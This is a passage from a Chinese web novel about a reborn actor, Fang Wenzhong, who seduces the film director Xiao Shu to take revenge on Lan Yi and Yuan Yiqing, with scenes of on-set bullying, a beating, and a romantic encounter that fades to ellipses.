萧疏笑了一下,他们走向电梯,萧疏忽然伸直胳膊,将方闻钟的脑袋拉过来,他们勾肩搭背,萧疏低头在方闻钟耳边说:“不跟哥哥说,给你送点吗?” “你在原一清身边也这么乖,还是在我面前装腔作势?” 他毫不避讳地提起原一清,方闻钟不禁转头仰视,萧疏的笑容完美无缺,方闻钟能感觉到他对他有点不一样了,可还是看不透他此时的用意。 随口说说? 方闻钟收回视线,对原一清这个名字生理性厌恶,自然懒得回答。 萧疏看到他的不爽,举手在他下巴下抬了一下。 “方闻钟,我喜欢你的区别对待,”电梯里,萧疏头埋进方闻钟扬起的脖颈,这次笑得真心实意。 方闻钟听出来了。 萧疏将原一清一点儿不放在眼里,现在却对方闻钟咬耳朵,“甩了他跟我?还是你就喜欢这种左右逢源?” 明明是情人之间的暧昧,方闻钟却觉得现在抓着他脆弱地方的萧疏,真的有极大危险。 这是个不好回答的问题,立马跟萧疏,他还怎么报复原一清,怎么让萧疏为他发疯失去理智。 左右逢源?要是这样说的话,方闻钟感觉下一秒萧疏的手就会收紧,他会窒息。 “哥,我有不得已的理由。” “但喜欢你是真的啊,”他闭上眼,嘴角露出微笑。 萧疏看着眼下的男生,收回笑容和胁迫,算是接受了他这个说法。 亲了一口,将人放开了。 电梯顺利到达,方闻钟跟在萧疏后面去吃饭,谁也看不出来,他们曾针锋相对。 萧疏选的私人餐厅自然环境好口味好,萧疏真正儒雅起来,想让一个人放松,他有极其深厚的见识和态度,让对方轻松起来,简直易如反掌。 方闻钟很快敞开心扉跟萧疏说了些自己的事。 他没意识到萧疏在诱导他,方闻钟再重活一次,他和萧疏之间差的不是几年。 很快,他感觉他们之间的氛围很好。 萧疏的笑容和对话让他很舒服,那晚虽然最后被周导打断,前两天虽然搬到顶楼,方闻钟一直等待着萧疏什么时候将他吃干抹净,可今晚的约会,忽然让他觉得,萧疏并不急着立马和他发生什么。 至少今晚,萧疏没有待会儿将他上了的想法。 他突然不着急了,方闻钟从未像现在这一刻明白过来,萧疏对他很感兴趣,将他放入一个可以再深入接触的位置。 而不是一晌贪欢。 所以再提起原一清时,方闻钟半真半假,蚌壳开口。 “你是怎么在他身边的?” “他帮过我忙,我欠他钱。” “只是恩情?” 方闻钟嗤笑一声,抬头看萧疏,眉目间一点没有感激原一清的意思,“没有恩,”只有恨。 萧疏对任何答案见怪不怪,继续转着杯子,百无聊赖,“做过?” “没有,”方闻钟有些屈辱,至少重生后,没有,他在萧疏轻飘飘的眼神下,低下头。 “还是处啊?”萧疏忽然笑了,靠近方闻钟,他上半身一下贴过来,脸放大,方闻钟一愣,萧疏的手指在他下巴上一勾。 方闻钟垂眼,就看到了那颗夺目的红痣。 “你觉得我像别人吗?”方闻钟忽然问。 弄得萧疏疑惑了一下,“像谁?”趁机收回手。 “不知道,”方闻钟假装苦笑,在萧疏面前表演,“原一清拿我当那个人的替身。” “哦。” 许久,萧疏回应,他往后靠在椅背上,方闻钟确信,男人刚才的神情,绝对已经想到了表弟蓝亦。 但萧疏没说,方闻钟要的就是这个结果。 在他心里埋下一颗种子。 “哥,还是处怎么样啊?”今晚和萧疏的对话,让他忍不住再添一把火,他站起来,双手拄着桌子,人已倾身到萧疏面前。 “你要开包吗?” 第112章 心疼 方闻钟知道自己不知死活,萧疏想和他直接进入正题时,他左右为难,萧疏不想了如他所愿对他感兴趣慢慢接近了解他时,他又扯掉脸皮,羞耻的话无底线地往外说。 说完,方闻钟就想直接钻桌子底下。 很快,他脸憋红了,反观萧疏,第一次见他笑得那么开心。 后来他们离开餐厅,再没提这个话题,萧疏好像知道他在逞强,所以饶恕了他,但不得不说,萧疏很喜欢方闻钟的态度,于是回酒店的路上,遇到一个意外,萧疏挺身而出。 走到地下停车场,他们遇见一个肩膀扛着重箱子的工人。 箱子是木头钉在一起的,一看就很重,工人和萧疏他们擦肩而过,方闻钟看到那重物箱子离萧疏有点近,下意识就想扯着他离远一点,他倒是无所谓,萧疏少爷毛病多得很,有一点洁癖。 他们的动作本来好好的,不起眼,可谁料下一秒,工人好像突然犯病,或不小心?一个大箱子直接斜斜下来往下掉,马上就要砸到方闻钟! 眼前被木色挡住,方闻钟压根没时间反应,危险扑面而来。 就被萧疏一把拉过去!箱子咚地砸在地面!工人慌乱小心翼翼,萧疏满脸厉色。 方闻钟被萧疏狼狈地甩在后面,才反应过来,没事了。 工人一直在道歉,随即离开,萧疏方闻钟二人都没说什么,萧疏还回头盯着那人看。 方闻钟反而转过来安慰萧疏,“应该就是不小心,没事了,刚谢谢你啊。” 萧疏没吭声,坐车回来,方闻钟正常睡觉。 一切到这个时候,都很平常,可半夜他做了一个梦。 梦里地下停车场箱子砸过来的那一幕,一次次重现,而梦里的方闻钟惊恐、躲避不急,满头大汗! 因为他看到箱子侧面,朝他砸过来的那一角,有几根又细又长的钉子露出来。 梦里,它们划伤了他的脸!戳破了他的眼睛! 那痛感太真实,方闻钟一下从噩梦中翻身坐起来,极速地喘着气,他摸着自己的脸和眼睛,意识到,要不是萧疏甩开他,箱子砸过来,他可能真的会如梦里一样重伤。 所以怎么可能是不小心呢? 萧疏当时已经察觉到危险了吗?才在时候还盯着那人不放。 反观他,太大意了! 方闻钟狠狠捏着拳头,恨不得骨头都捏碎,他怎么能忘了有蓝亦那样一个魔鬼般的仇人。 让他毁容,让他眼瞎,他绝对做得出来。 方闻钟狂咳,咳嗽之后,低着头让脸上的冷汗慢慢消失。 第二天拍的一场戏是在楼梯里追逐,萧疏指挥着人布置好场地架好机位,周导不厌其烦地给男一号和方闻钟提点待会儿的动作要领,和表情情绪。 两人齐齐点头,但只有方闻钟自己知道,他有多心不在焉。 “咔。” 不需要证据,方闻钟就能确定昨晚那是蓝亦派来的人。 这种手段对他来说得心应手,而方闻钟只要一次失误,没发现人为的意外,就会付出沉重的代价! 上辈子吃过那么多亏,他怎么还不长记性。 方闻钟的表情恶狠狠的,眼里全是愤怒和算计。 周导站在萧疏旁边,看着显示屏里小小的画面和特写,“方闻钟这场戏演得还挺好的。” 他以为会等来萧疏认同或夸奖,等了半天没声,他转头,萧疏表情淡淡,抽空抬头看了爬楼梯的方闻钟一眼。 “咔。” 方闻钟坐在楼梯上喘气,所以蓝亦刚回国就对他下死手了吗,还是他在原一清那儿受了什么刺激? 蓝亦试探地提起方闻钟,“你们公司有个艺人听说长得有点像我,”原一清心虚地躲闪。 “一点儿也不像。” 他避开方闻钟这个话题,却将方闻钟远远安排去演周导的电影,用心良苦啊,蓝亦在原一清面前笑得有多天真纯洁,内里阴暗的气息就有多重!方闻钟凭什么有这么好的资源? 他是该让他尝点苦头了。 方闻钟提着刀,浑身血迹,前面向上爬的男一号也不例外,两人应该惊恐地往后看,然后方闻钟迅速向前伸手,男一号拉住他! 手没拉上,方闻钟伸过去的太短了。 “咔,”又被萧疏叫停。 有工作人员上来给方闻钟补脸上的假血,顺便把手上和刀上的痕迹弄得更鲜艳了些。 方闻钟看着萧疏在那边和摄像师说话,他盯着他仰起头猛灌了一口水。 “再来一次,”萧疏忽然转头,和方闻钟对视。 重新拍这一幕。 不管蓝亦突然出手有没有理由,他和他已经注定了你死我活,方闻钟紧咬牙关,所以不要抱有期待,不要抱有侥幸心理,蓝亦什么都不做,他也应该让他尝尝上辈子他尝过的痛! 这场复仇,由蓝亦再次拉响号角,那接下来的反攻,才是方闻钟誓不可退的主场。 方闻钟一脚楼梯踩空,他整个人没踩稳下滑,扑在楼梯上! 手中的刀也扔出去了! 人直接往下掉,“方老师,”好多任务作人员惊呼上来。 方闻钟被人扶起来还有点懵懵的状态,刚才是他走神了,他惶恐地对众人说“我没事我没事……” 萧疏的突然出声,让气氛如坠冰窖。 “方闻钟,第几次了,还能不能拍?” “我不知道你脑子里想的是什么,在想午饭吃什么还是在想待会儿杀个人……你们在逃跑,仇人在后面,不知道的,还以为你演了个反水的角色,要杀了拉你的主角。” “能拍吗?不能拍趁早收拾掉换人,周围这几十号人是来陪你体验过家家的?” “我给了你四次机会,最后一次你看我我以为你明白了自己的不在状态,方闻钟,怎么,你是觉得我不会骂你?我应该对你和别人不一样一而再再而三宽容?” 众人都傻愣着眼,大到扛摄像头的壮汉、周导,小到道具组化妆组小姑娘助理等,都听说过萧导和方闻钟的绯闻,他们也从未掩饰过。 所以现在听到萧导这样教训人,纷纷觉得不敢置信尴尬。 萧,萧导……有点儿严厉啊。 就他们觉得,方闻钟演得还挺好的,前几天几乎都是五条之内过,今天也没出多大差错啊,男一号都被逼得演技爆发,可还是被萧导批评了。 且萧导毫不遮掩地拿他们的传闻说事儿,就让人有点心疼方闻钟。 方闻钟直接被骂傻了,他低垂着头。 替方闻钟手上补血的小姑娘弱弱地打断了落针可闻的寂静,“那那个,”她举手,“方老师刚刀掉下去时,不小心划伤手臂了。” 流下来一道血,这是真血! 萧疏转身出去,剩下其他人赶紧上来包扎的包扎,扶方闻钟的扶方闻钟,然后再把其他演员安顿好,工作人员也安顿好。 周导看到方闻钟手臂上的伤,还挺严重的,皱着眉头,“别多心啊,状态不好赶紧休息休息,不行明天再拍。” “嗯,”方闻钟乖巧应道。 第一条第二条周导没看出来方闻钟的异常,后两条就很明显,方闻钟的情绪很不对,镜头里太突兀了,不怪萧疏突然骂人。 他只是没想到萧疏这么不留情面。 方闻钟知错,他也说不上这会儿是不是难过,洗干净后处理好伤口,回酒店一个人休息调整。 他蒙头直睡到了中午,肚子太饿了才起身,早上吃的那点儿早消耗完了。 蔫蔫地出房间,忽然发现萧疏就坐在他客厅里,手里正拿着一本杂志看。 方闻钟呆在原地,怀疑自己还没从梦里醒来。 “过来,”萧疏发现他了,方闻钟看到,萧疏面前的茶几上摆着几盒外带的食物,现在萧疏正在拆盒子。 直到坐下,方闻钟都感觉自己的腿不受大脑控制。 “吃吧,”萧疏抬头,方闻钟味同嚼蜡,但在饿意和萧疏的陪伴下,也算多吃了几口。 饭桌上他们都没说话,直到收拾掉食物盒子,萧疏才翘着二郎腿看方闻钟良久,好似有话跟他说。 “裤子撩起来。” 方闻钟眼睛一睁,照做。 果然摔出些青痕,手臂上的伤比较明显,没人注意到方闻钟腿膝盖处应该也受伤了,除了萧疏。 “药在这里,自己涂吧。” 方闻钟将红色的药水一点点抹上去,火辣辣的灼烧感,大半个膝盖全是药水的颜色,他的裤子都快撩到大腿根。 萧疏看他涂完了,好像起身要走。 方闻钟抬头看着近在咫尺的男人,眼神一顺不顺地盯着。 他不知道自己看起来很可怜,萧疏遂停住脚步,问人,“觉得委屈吗?” “方闻钟,我不希望你进组怀着其他繁重的心思,拍戏就是拍戏,不要忘了你的本职工作,也别坏了我的名声。” “不要让我这个导演,后悔直接定你为男二号。” “我对我拍的片子,要求很高,”萧疏弯下腰来,抬起方闻钟的脸,“知道吗?所以给我好好拍。” 脸被萧疏强势地捏着,方闻钟话都听进去,眼泪却一滴一滴往下掉。 萧疏一愣,突然松手。 “怎么,我说不得?” 方闻钟抱上萧疏的腰,“不要怀什么繁重的心思啊,萧疏,喜欢你算多余的心思吗?” 这个时候还不忘撩人,萧疏在方闻钟看不到的地方眼神玩味洞悉。 “萧疏,我梦到有人要害我,我梦到昨晚撞我们的那个人想用钉子戳瞎我的眼。” 他抬头,看男人。 “我怕,萧疏,我怕。” 眼泪像开闸的水龙头,男生却未有一丝哭腔。 他只是在萧疏面前极尽展示他的柔弱,让萧疏理解,让萧疏心疼。 萧疏沉默地摸着他的耳垂,忽然将人压在自己的小腹,从后面轻轻拍上他的背。 方闻钟侧头睫毛微闪,蓝亦,我不会弄死你担上杀人的罪名,但我会让你表哥合理合法地将你打入十八层地狱。 第113章 萧疏打人 自从被萧疏骂过后,方闻钟表现得跟好,频频让周导赞叹。 “好苗子,好苗子!”要是早在他手里打磨一两部戏,方闻钟一定能名声大噪,不过这部戏后也不迟! 他还不知道方闻钟压根没有以后的打算,自然也想不到未来还要不要演戏,他最大的目标,是先活着,活过二十岁。 看着自己的仇人们一个个有应有的下场。 萧疏对他态度变温和了,方闻钟还稍有点不适应,尤其方闻钟又出错,有一场戏演得不对劲,萧疏当时就从显示屏后出来,他还拿着对讲机,大跨步过来,方闻钟下意识很怂,以为又要当场挨骂。 谁知萧疏慢慢抚摸着他的后脖颈,大手在抚慰他,当着众人的面。 “放松,不用紧张,我在看着呢。” 然后又回到显示屏后,方闻钟下一条立马有如神助,他自己也说不上为什么突飞猛进……倒是让剧组人员渐渐磕到了。 萧导和方闻钟,有钱有势的大佬,和刚入圈的小明星,还挺有镜头感的。 方闻钟猜到蓝亦要来,他沉不住气,或者说方闻钟也期待他来。 他坐在凳子上,旁边只有助理一个人,他的戏排在后两场,看到几个黑衣人簇拥着蓝亦走来,再回想刚才剧组外听到了几辆车鸣笛声,知道他等的人物终于来了。 蓝亦早看过无数次方闻钟的照片,一到片场,在那么多人中,他一下就认出了穿着戏服灰扑扑的并不起眼的方闻钟,他把这归功于方闻钟长得像他。 蓝少爷站在方闻钟面前,他后面矗立着几个黑衣墨镜壮汉,蓝亦仔仔细细盯着方闻钟打量,忽然友好地笑了一声,他大叫,“方闻钟,我来看你了,”一下弯腰将脸贴近方闻钟。 旁边的小助理已经吓了一跳,再看这阵势,看看蓝亦的脸,再看看方闻钟,心惊肉跳。 方闻钟脸颊紧绷,精神高度紧张,他的演技一定比刚才还好! 如果萧疏在的话,方闻钟一定会这样告诉他!他压抑着心里的兴奋,只把慌乱表现在脸上。 “这么看也没那么像嘛,”蓝亦挤压着方闻钟呼吸的空气,将他逼得后仰,蓝少爷嘟囔,“眼睛太小了,再拉开一点就好,鼻梁太高了,得削掉一点儿,嘴巴,嘴巴怎么这么不爱笑呢?” 他回头,对黑衣人说:“你们说让他戴上口器,永远学会笑怎么样啊?” 黑衣人面无表情,蓝亦也不要他们回答,他拍着大腿哈哈大笑。 助理已经离开,方闻钟身体在抖,蓝亦看到自己吓到人了更开心。 总的来说,方闻钟就是不像他,重生后的方闻钟,和蓝亦气质天差地别。 蓝亦看着活泼热闹,身上总有股阴郁的危险的气质,方闻钟不装乖的时候,也很冷酷无情,萧疏的狠辣是收放自如的话,方闻钟的狠辣就是不受自己掌控,随时在爆发的边缘游走。 “嗤,”他抬眼,从下往上盯着蓝亦,蓝亦一愣,因为他挡住了方闻钟,所以方闻钟嘴角翘起,眼神里的戏谑和挑衅只有他自己一个人能看到。 “方,闻,钟。” 蓝亦想起管家说过的话,他们两人都不好对付,且现在彼此心知肚明。 蓝亦更来兴趣了,方闻钟弱,他就吓唬他,方闻钟强,敢跟他顶着干,他就用更强的手段和势力打得他头破血流,这样才好玩啊。 黑衣人上来包围住方闻钟,剧组人看戏,因为想上来一探究竟帮方闻钟的,都被黑衣人吓走了,所以远远站在那边围观。 下一秒,一个黑衣人将巨大的高压水枪递到蓝亦手里。 待会儿方闻钟拍的戏有人工降雨,这是道具,恰好被蓝亦看中。 水枪朝着天空打开,花洒般的雨滴迅速落下来,控制着竟只淋湿了方闻钟一个人,蓝亦玩得开心,让大家把包围圈再放大一点,没一会儿,方闻钟湿透了。 他周围全是大大小小的水坑,混合著泥泞,宛如被蓝少爷等人围在中间戏弄的一条狗。 蓝亦无法无天,是因为他根本不怕。 周导敢找他麻烦吗?周导见了他也得卖他三分面子,从某种意义上说,蓝亦的家世比原一清强多了。 在国内除了他杀人放火,一般什么事摆不平? 欺负一个小明星算什么,今天就算蓝亦在众目睽睽下对方闻钟再过分,方闻钟只能忍着,受着,谁敢曝光出去? 他独独没料到表哥也在这里,情报落后,Caspian是主导演的事没人跟他说。 蓝亦终于暂时关了水枪,跑到方闻钟跟前,戳他的肩膀。 “喂,你跟我道个歉啊,你说你以后再也不缠着原哥哥了我就饶了你。” “你说你是贱货,跪在我面前我就今天放过你。” “并且以后也不找你麻烦,”蓝亦歪了一下头,补充。 他擦掉手上的水,拿出手机录像,“快点啊,我留个证据。” 方闻钟傻了一般,脸上水珠一一往下流,他垂着睫毛,蓝亦过去要拉他肩膀,把他扯到地上。 “方闻钟,你别再激怒我。” 手上还没用劲,在他拿出手机的那一刻起,蓝亦没看到背后围着的黑衣人渐渐散开一个包围圈,墨镜下眼神惊恐地看向走进来的人。 “啊!” 一声悠长尖利的惊叫!蓝亦重重侧摔在地上! 他摸着脸上的脏水,刚掉进一个泥水坑,想起身可稍一动作,肋骨疼得撕心裂肺。 蓝亦睁着沾满脏污的眼睛,模糊中终于看清,一个人,“表哥?” 萧疏穿着靴子,手指尖还夹着烟,过来一脚踢在蓝亦的侧腰上,直接将人踢飞出去几米远。 黑衣人们一一恭敬低头,蓝亦还不敢置信,害怕认错了人。 萧疏吸了一口烟,他没看方闻钟,始终低着头看蓝亦,周围比刚才欺负人还安静。 “表,表哥,”蓝亦想站起来,最终往萧疏那边爬了两步,才颤颤巍巍站起身。 萧疏又走过去在人肚子上直接踹了一脚,蓝亦飞得比刚才更远! 又砸进一个他自己制造的泥坑。 连续三次!蓝亦挨了第三脚后,他和萧疏已经离方闻钟越来越远,蓝亦才气愤道:“表哥!你要干什么!” 萧疏将烟夹嘴里,刚才蓝亦被踹远,打开一点的包围圈,又随着萧疏拎着蓝亦脖子往方闻钟那边走去时,慢慢合上。 萧疏将人扔在方闻钟脚下,烟吐在蓝亦手边。 说了第一句话,“来我剧组撒野?” “谁给你的胆子?” 蓝亦没有心思了解萧疏为何会在这里,既然已成事实,他对萧疏有本能的惧怕,躲闪着眼睛,最后还是给出一个结果,“他勾引我男人。” 他指着方闻钟说。 方闻钟早在蓝亦被揍时,就慢慢不装了,看好戏,听到这话,嘴角掩不住一丝笑。 萧疏不会在想:他勾引的是他……关蓝亦什么事? 哦,明白了,蓝亦说的是原一清,萧疏拉起表弟,刚被他们玩过的高压水枪还在这里,他也一起捡起来。 “把他抓住,”萧疏对背后的黑衣人招手。 黑衣人不得不从,蓝亦被抓住,“哥!”他脸上满是气愤和不理解,Caspian又他妈发什么疯!回国也不做人! 萧疏打开高压水枪,他可没蓝亦那么柔和,直接冲着人脸一下崩过去。 蓝亦几经失明,他挣扎着,恐惧成了他唯一的念头,不需想萧疏为何这样做,为什么突然出现在这里,今天是他倒霉,方闻钟留着以后慢慢打算,他就想赶紧逃出表哥的魔爪。 萧疏看向方闻钟,方闻钟傻愣着,将脸上轻松的肌肉,一块块控制变成害怕。 萧疏将水枪直接塞在方闻钟怀里,“滋他。” 发出命令。 蓝亦气得在黑衣人抓捕下来回踢腿,他在心里大骂!Caspian你不得好死! 方闻钟没出手,萧疏于是问:“他欺负你了吗?” 他问的是方闻钟,方闻钟点头,萧疏就开水枪。 “你勾引他男人了?” 方闻钟迅速摇头。 萧疏再开水枪。 “听到了吗?”蓝亦的脸部已经失去表情,比方闻钟刚惨一千倍一万倍,因为萧疏是纯粹的淩虐。 萧疏走到蓝亦面前,“还有事吗?没有的话滚吧。” 蓝亦在黑衣人搀扶下走向外面的豪车,聚集的观众慢慢散场,小助理赶紧跑来照顾方闻钟。 周导在外面看了一圈好戏。 剧组其他工作人员还是演员,经过刚才一事,对萧疏的恐怖和害怕直达顶峰! 再也没人敢乱说话了,更何苦将这件事往外透露一个字…… 蓝亦带人来找事就够无法无天,萧疏还能轻轻松松将人打回去,可见萧导不是一般大佬。 平日里在他们面前萧导还是太温柔了。 蓝亦不认为今天萧疏在替方闻钟出头,萧疏在刻意保护方闻钟,他压根没想过这个可能,因为瞧不起方闻钟,所以并不觉得方闻钟有一丝值得让萧疏出手的可能。 他只能自怪倒霉,方闻钟运气好!竟进了表哥的剧组,表哥要做一件事,任何人敢找麻烦忤逆他,下场没一个好过的。 蓝亦全身包紧,还颤抖着嘴唇发紫,他会再找机会找方闻钟麻烦的。 折磨还远远不够,刚开始!今天在表哥这受的委屈,他日一定会在方闻钟身上找补回来。 休息室内,方闻钟洗完澡换好浴袍,因为待会儿还要拍戏,他主动要求的,所以工作人员给他去拿新的戏服了,暂时没穿自己的衣服。 萧疏靠坐在桌子上,见方闻钟出来,方闻钟直奔萧疏,站在他面前。 萧疏挑眉,“有话就说。” “你应该猜到了吧,因为我长得像蓝亦,所以原一清包养我当替身。” “但蓝亦不乐意了,以为我和原一清有情,找我麻烦。” “之前,之前被他锁在家里的时候,蓝亦还派人差点弄断我的腿……” 方闻钟的脆弱和柔软恰到好处,他眼睛里充斥着迷茫和害怕,“我也不想的,我才不稀罕掺和他们之间的事。” 左眼滑下来一滴泪,从方闻钟说被锁,被陷害弄断腿,萧疏就沉默着一动不动。 “所以今天很感谢你,没有你,我不知道会落得什么下场。” 他抬起头,献祭般的浴袍半开,手臂挂上萧疏的脖子,“萧疏,你真好啊。” 方闻钟脸上的湿润沾在萧疏下巴上,萧疏从后面揽住人的腰,“你知道我和蓝亦的关系吗?” “我听到他叫你表哥?”方闻钟歪头。 “喜欢我,还是想借我的手离开原一清?” 方闻钟不说话了,倔强地盯着萧疏,萧疏彷佛压根不在意任何一种答案,人在他怀里,那就是他的。 方闻钟亲掉萧疏喉结上的一滴水,那是他流淌下去的眼泪。 “哥。” 第114章 第一次 表弟重要呢,还是情弟弟重要?自那天后,方闻钟一直在等戏期间,幽幽地注视着萧导。 他忽然很喜欢“哥”这个字的份量,再也不避讳剧组大大小小的外人,不以为耻地黏着萧疏,叫他哥。 拍戏出错被瞪了,他略显委屈地看着萧疏,然后很快聪明地改过来,让人说也不是不说也不是。 下戏之后,叫着一声“哥”,“哥”,可外人谁看不出来他们之间暧昧的关系。 方闻钟口中的喜欢萧疏,好像突然成了一件他迫切想让所有人知道的消息,是那天在水枪下救下他他太感激了,还是在萧疏这里看到了逃离原一清和蓝亦魔爪的绳索,迫不及待想要抓住它? 工作人员以前还敢私下里嘴臭几句方闻钟和萧疏,现在一个当事人恐怖到不敢惹,一个脸皮厚得把私下里的交易摊到明面上来,掺杂上感情,倒叫人说多了也嫌无聊。 剧组的盒饭萧疏一般都有单独的那份,他忙完的迟,过去时才发现方闻钟偷偷打开他那份,把里面的菜肴夹走了一块,倒是可怜又可爱。 “哥,”萧疏发现后,他先愣了一下装认错,后来明知道萧疏不会跟他计较这个顺杆子往上爬,一只手拉着小椅子往萧疏身边凑了点。 他侧仰着头,看他吃饭的神色。 萧疏慢条斯理地用完餐,被方闻钟动过的那份菜他没动过筷。 方闻钟渐渐看着表情变了,稍微有点冷,“你嫌弃我吗?”疑问的话他也没想到,会脱口而出。 萧疏嗤笑了一声,“爱吃?还是没吃饱?以后不用给我留了。”他的意思是方闻钟大可以直接吃完,而不是像有贼心没贼胆的兔子一样,可是这也是方闻钟的越界,是他的试探。 方闻钟一下笑了,手攀上萧疏的膝盖,略显甜腻地一笑,“哥,你对我最好了。” 傍晚间,拍戏时方闻钟从楼上顺威亚跳下来,脚落地时身形一歪,僵了一下,这画面在显示屏里看挺明显的,但方闻钟立马用手撑了一下地,快速起身接着拍下一个镜头。 一直拍到十点多,他发白的脸色在灯光下越来越叫人分不清,是疲惫还是别的什么? “方老师太累了吧,走路都走不稳了,”跟他一起拍戏的男主的助理跑过来时,顺势也和方闻钟搭了几句话。 一个小时之前,萧疏就避过镜头,问方闻钟,有事吗,还能拍吗? 方闻钟没有丝毫犹豫。 这时,走近了萧疏才看到方闻钟脸上冒出丝丝冷汗,嘴唇白到发抖,干燥的起皮。 他还没忙完,跟周导说着话,看到方闻钟的样子,眉头轻微一皱,方闻钟还想赖在萧疏身边,再攀扯攀扯,萧疏手往后一伸,阻挡住方闻钟要落座的动作。 他的指尖被萧疏抓住了,好像仅仅是不小心? 方闻钟看着一步之遥坐在前面显示屏前的萧疏,周导的脑袋还凑过来,萧疏和他说着话。 手指又被一捏,确定了,不是不小心,萧疏故意的。 终于和周导说完后,他站起来转身,恰好挡住方闻钟被别人看到的视线,食指手背在他干燥的嘴唇上擦了一下,“你先回去。” “好,”方闻钟听话,实际上他也坚持不了多久了。 跳楼时,脚下扎进去一根钉子,他踩着那根钉子拍了五个多小时的戏,疼到身体都发僵,但他没有开过一次口,萧疏一定猜到了是吧,他知道他出事了,晚间,萧疏会来看他吗? 方闻钟独自往酒店走时,还忍不住回看萧疏的身影。 这出苦肉计,能令萧疏对他区别对待吗? 方闻钟不想拿自己的身体开玩笑的,可或许是上辈子吃过的苦头太多了,现下这点压根不算什么。 他表情平静地看着自己的左脚,污血沾湿了袜子,拔掉钉子时,方闻钟也仅仅抖了一下,随便消完毒洗完澡,萧疏进他房间,就看到男生身着浴袍,伸出白嫩的一条腿,搭在沙发边的矮几上,脚底还在渗着血。 以至于萧疏一看到严重的伤口就眉心一跳。 方闻钟抬头,男人衣服都没换来了,他才甜甜一笑,受伤的那只脚脚趾,迎着萧疏的视线,瑟缩地动了一下。 接下来有点出乎意料,被萧疏叫来的医生打完针,专业处理完,方闻钟还举着被包扎好的腿有点没回过神。 他以为萧疏会问他,再不济,关心几句心疼一下不会吗? 可萧疏只是刚进来时表情有变化,后来比方闻钟还冷心冷情,方闻钟有点拿不稳,他明明感觉萧疏是怜惜他的,自从被他挑起了兴趣,他的手段让萧疏的性|欲和征服欲通通冒出头,他勾引的很到位,甚至蓝亦的出现都为他加了一把劲。 可为什么现在他预想的男人动心,反而迟迟不出现了呢? 方闻钟被安排地回房间,萧疏过来帮他扶了一把,方闻钟想都没想牢牢地抓住萧疏的手臂。 “哥,”未语泪先流,“我好疼的,我不想让你们担心,不想耽误大家的时间,你说拍戏就好好拍戏,我坚持了一下,没给你丢脸吧?” 扶着方闻钟胳膊的大手,用了比方闻钟足一百倍的力道。 萧疏终于抬眼,看这会儿绞尽脑汁对他甜言蜜色的方闻钟,两人略一僵持,方闻钟已经重新坐在沙发上。 眼见这招有效,萧疏也坐在旁边,方闻钟一秒不落地示弱诉苦。 他擦着红红的眼睛,嘴巴依旧很干燥,却因为刚洗过澡,其余地方又嫩得可以。 “起初我怕又是蓝亦害我,但随便一想就知道我想多了,怎么可能处处是他呢,只是我不小心罢了。” “哥,本来只有一点点疼,”方闻钟说着,举起手在两人之间比划了一下一点点是多少,“可我总忍不住乱想……” “想曾经,蓝亦有可能弄断我的腿,想我可能毁容,被戳瞎眼睛,你知道的,就上次在停车场你拉开我的那次,我不骗你,要是没有你,我肯定会下场很惨!你会不会不相信那是蓝亦对付我?” 方闻钟抓着萧疏的手臂,上半身贴近他,“蓝亦就是那么坏,”他告状告得理直气壮,让上眼药的行为,显得越发自然真实,“他还会用其他手段对付我吗?”像前几天在剧组那样当着众人的面浇水拍视频? 方闻钟抖了一下,他颤动着睫毛,“好疼啊,哥哥,如果一切都发生了,我肯定会疼得受不了的,”他出神地看着自己露出来的腿,彷佛腿断了,让他在这里叫屈。 故作可怜的表情没做多久,萧疏下一秒的动作,就让方闻钟所有还想火上浇油的话憋在嘴里。 男人似是终于忍不了他落泪,叹了一口气,明明他抱怨的是他的亲人,是他表弟,当下这一刻,萧疏蹲在方闻钟面前,单膝跪地,一只手抓住方闻钟受伤的脚腕。 方闻钟愣住了,他抬起头,何时见萧疏跪过…… 萧疏灼热的掌心,摩挲着他发凉的小腿,弯腰,低头。 在方闻钟膝盖上落下一吻,“腿没事,过几天就好了,不用担心,还疼吗,疼的话……” 萧疏的话被方闻钟堵回嘴里。 方闻钟像个小疯子一样,突然不管不顾地爬过来抱住萧疏的脖子,亲上男人的嘴唇。 干燥、发麻,然后就是灼热温软,方闻钟还嫌不够,试图突破萧疏的牙齿。 被一下掀开,男人压着他,直接在沙发上两人来了一段法式深吻,“够了,”萧疏喘息间急促地说:“你还受着伤。” 方闻钟刚哭过的眼睛很亮,他的手臂再未从男人脖子上松开过,“萧疏,你要我吗?”- 做吗,这本来是一个值得思考的问题,可氛围烘托到这里,似乎只剩下本能。 尤其以前方闻钟说着勾引,总是在最后保留着一丝不情不愿,现在,他像一个妖娆的水蛇一样攀上萧疏的腰腹,不知羞耻地动作,摩擦。 萧疏忍不了了,扯开他半边身体,两人齐齐跌落在深灰色的被子上。 “Caspian……萧疏……”方闻钟大胆地用嘴贴过萧疏的脖子,肩膀,撕开他衬衫的纽扣,落在胸膛之上。 萧疏又不是圣人,他眼睛发红,死死压制住方闻钟的双腿,又问了一句,“你还受着伤……” 方闻钟自己动手,扯开了身上的浴袍,未着寸缕。 “合著之前是吊我胃口呢……”萧疏声音暗哑,性感的身形在噙着笑说出最后一句,两人岌岌可危的屏障再也不复存在。 …… …… 恍惚间,方闻钟想起上辈子,如今大相迳庭,他再也不是上辈子那样被人欺辱,方闻钟脸埋在枕头里似哭似笑。 所谓的交换情人,不过是一场蓝亦对他彻头彻尾地羞辱,他被骗上‘萧疏’床又拿来做赌桌上的赌注,原一清输了,代价是要么给‘萧疏’200w,要么让旁边的方闻钟当着所有人的面跪在‘萧疏’面前,还要做什么,大家都心里清楚。 原一清舍不得200w,在蓝亦的加持下,方闻钟这个上不了台面的垃圾,当然可以随便舍弃。 那时‘萧疏’拍了拍方闻钟跪在地上的脸颊…… 然后他就被带走了,自此以后,成了‘萧疏’的情人,也成了圈子里所有人都知道的一个笑料,他是原一清不要的,是和‘萧疏’交换的,玩物。 …… 历经困难和涩意后,就是连绵不绝的破碎,在身体破碎和心灵重建中,方闻钟彷佛体会到了从未有过的愉悦,有那么一刻,他真的觉得上方这个男人很爱他,他也爱他。 方闻钟咬破了舌尖,让自己清醒一下,随即,萧疏亲上一抹血腥味。 萧疏极其怜爱又耐心地照顾另一人的感受,可斯文的野兽终究会褪去一身伪装,暴露又野蛮地侵占自己的领地。 …… 尘埃落定,萧疏怀里搂着人。 方闻钟忽然问:“萧疏,你喜欢我吗?” “喜欢,”他的回答不假思索。 方闻钟:“喜欢我的身体,还是……”他艰难地抬起头,注视着萧疏温柔的眼睛。 “我以为,你一开始就知道我喜欢你的身体。” 是啊,方闻钟承认。 “我可不会随便因为一个人到我跟前哭,在我面前勾引,就和他上|床。” 